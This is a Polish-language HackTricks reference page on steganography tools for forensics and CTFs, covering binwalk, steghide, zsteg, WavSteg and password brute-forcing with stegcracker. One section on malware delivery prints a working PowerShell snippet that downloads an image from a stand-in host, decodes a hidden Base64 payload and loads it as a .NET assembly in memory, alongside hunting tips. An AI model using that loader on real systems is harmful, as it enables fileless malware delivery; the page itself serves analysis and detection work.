Stego Tricks
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Wyodrębnianie danych z plików
Binwalk
Narzędzie do przeszukiwania plików binarnych w poszukiwaniu osadzonych ukrytych plików i danych. Jest instalowane za pomocą apt
, a jego źródło jest dostępne na GitHub.
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
Foremost
Odzyskuje pliki na podstawie ich nagłówków i stopek — przydatne w przypadku obrazów png. Instalowany za pomocą apt
, źródła na GitHub.
foremost -i file # Extracts data
Exiftool
Służy do przeglądania metadanych plików, dostępny here.
exiftool file # Shows the metadata
Exiv2
Podobny do exiftool, służy do przeglądania metadanych. Instalowalny przez apt
, kod źródłowy na GitHub, i posiada oficjalną stronę.
exiv2 file # Shows the metadata
File
Określ typ pliku, z którym masz do czynienia.
Strings
Wydobywa czytelne ciągi znaków z plików, używając różnych ustawień kodowania do filtrowania wyjścia.
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
strings -n 6 file | tail -n 20 # Last 20 strings
strings -e s -n 6 file # 7bit strings
strings -e S -n 6 file # 8bit strings
strings -e l -n 6 file # 16bit strings (little-endian)
strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
Porównanie (cmp)
Przydatne do porównywania zmodyfikowanego pliku z jego oryginalną wersją znalezioną online.
cmp original.jpg stego.jpg -b -l
Wyodrębnianie ukrytych danych w tekście
Ukryte dane w odstępach
Niewidoczne znaki w pozornie pustych odstępach mogą ukrywać informacje. Aby wyodrębnić te dane, odwiedź https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder.
Wyodrębnianie danych z obrazów
Identyfikacja szczegółów obrazu za pomocą GraphicMagick
GraphicMagick służy do określania typów plików obrazów i identyfikowania potencjalnych uszkodzeń. Wykonaj poniższe polecenie, aby zbadać obraz:
./magick identify -verbose stego.jpg
Aby spróbować naprawić uszkodzony obraz, dodanie komentarza do metadanych może pomóc:
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
Steghide do ukrywania danych
Steghide umożliwia ukrywanie danych w plikach JPEG, BMP, WAV i AU
, potrafi osadzać i wydobywać zaszyfrowane dane. Instalacja jest prosta przy użyciu apt
, a kod źródłowy jest dostępny na GitHubie.
Polecenia:
steghide info file
ujawnia, czy plik zawiera ukryte dane.steghide extract -sf file [--passphrase password]
wydobywa ukryte dane, hasło opcjonalne.
Do ekstrakcji przez przeglądarkę odwiedź tę stronę.
Bruteforce Attack with Stegcracker:
- Aby spróbować złamać hasło do Steghide, użyj stegcracker w następujący sposób:
stegcracker <file> [<wordlist>]
zsteg dla plików PNG i BMP
zsteg specjalizuje się w odkrywaniu ukrytych danych w plikach PNG i BMP. Instalacja odbywa się przez gem install zsteg
, z jego source on GitHub.
Commands:
zsteg -a file
stosuje wszystkie metody wykrywania na pliku.zsteg -E file
określa payload dla ekstrakcji danych.
StegoVeritas and Stegsolve
stegoVeritas sprawdza metadane, wykonuje transformacje obrazu i stosuje LSB brute forcing, między innymi funkcjami. Użyj stegoveritas.py -h
dla pełnej listy opcji i stegoveritas.py stego.jpg
aby wykonać wszystkie kontrole.
Stegsolve stosuje różne filtry kolorów, aby ujawnić ukryte teksty lub wiadomości w obrazach. Jest dostępny na GitHub.
FFT for Hidden Content Detection
Fast Fourier Transform (FFT) techniques mogą ujawnić ukrytą zawartość w obrazach. Przydatne zasoby to:
Stegpy for Audio and Image Files
Stegpy umożliwia osadzanie informacji w plikach obrazów i audio, obsługując formaty takie jak PNG, BMP, GIF, WebP i WAV. Jest dostępny na GitHub.
Pngcheck for PNG File Analysis
Aby analizować pliki PNG lub zweryfikować ich autentyczność, użyj:
apt-get install pngcheck
pngcheck stego.png
Dodatkowe narzędzia do analizy obrazów
W celu dalszej eksploracji rozważ odwiedzenie:
Ładunki Base64 oddzielone markerami ukryte w obrazach (malware delivery)
Commodity loaders coraz częściej ukrywają ładunki zakodowane w Base64 jako zwykły tekst wewnątrz w przeciwnym razie prawidłowych obrazów (często GIF/PNG). Zamiast manipulacji LSB na poziomie pikseli, ładunek jest ograniczony unikalnymi ciągami markerów początkowych/końcowych osadzonymi w tekście/metadanych pliku. Następnie PowerShell stager:
- Pobiera obraz przez HTTP(S)
- Znajduje ciągi markerów (zaobserwowane przykłady: <<sudo_png>> … <<sudo_odt>>)
- Wyciąga tekst między markerami i Base64-dekoduje go do bajtów
- Ładuje .NET assembly w pamięci i wywołuje znaną metodę wejściową (nie zapisuje pliku na dysku)
Minimalny PowerShell carving/loading snippet
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Notatki
- This falls under ATT&CK T1027.003 (steganography). Ciągi markerów różnią się między kampaniami.
- Hunting: skanuj pobrane obrazy pod kątem znanych separatorów; oznacz
PowerShell
używającDownloadString
, a następnieFromBase64String
.
See also phishing delivery examples and full in-memory invocation flow here:
Ekstrakcja danych z plików audio
Audio steganography oferuje unikalną metodę ukrywania informacji w plikach dźwiękowych. Różne narzędzia są wykorzystywane do osadzania lub odzyskiwania ukrytych danych.
Steghide (JPEG, BMP, WAV, AU)
Steghide jest wszechstronnym narzędziem zaprojektowanym do ukrywania danych w plikach JPEG, BMP, WAV i AU. Szczegółowe instrukcje znajdują się w stego tricks documentation.
Stegpy (PNG, BMP, GIF, WebP, WAV)
To narzędzie obsługuje wiele formatów, w tym PNG, BMP, GIF, WebP i WAV. Po więcej informacji odnieś się do Stegpy's section.
ffmpeg
ffmpeg jest istotny przy ocenie integralności plików audio, ujawniając szczegółowe informacje i wskazując ewentualne niezgodności.
ffmpeg -v info -i stego.mp3 -f null -
WavSteg (WAV)
WavSteg doskonale nadaje się do ukrywania i wydobywania danych w plikach WAV za pomocą metody najmniej znaczącego bitu. Jest dostępny na GitHub. Dostępne polecenia:
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
Deepsound
Deepsound umożliwia szyfrowanie i wykrywanie informacji w plikach dźwiękowych przy użyciu AES-256. Można go pobrać ze strony oficjalnej.
Sonic Visualizer
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio — Sonic Visualizer potrafi ujawnić ukryte elementy niewykrywalne innymi metodami. Odwiedź oficjalną stronę po więcej.
DTMF Tones - Dial Tones
Wykrywanie tonów DTMF w plikach audio można przeprowadzić za pomocą narzędzi online, takich jak ten detektor DTMF oraz DialABC.
Other Techniques
Binary Length SQRT - QR Code
Dane binarne, dla których pierwiastek kwadratowy długości jest liczbą całkowitą, mogą reprezentować kod QR. Użyj tego fragmentu, aby to sprawdzić:
import math
math.sqrt(2500) #50
Dla konwersji binarnych danych na obraz sprawdź dcode. Do odczytu kodów QR użyj this online barcode reader.
Tłumaczenie Braille'a
Do tłumaczenia Braille'a świetnym źródłem jest Branah Braille Translator.
Źródła
- https://0xrick.github.io/lists/stego/
- https://github.com/DominicBreuker/stego-toolkit
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.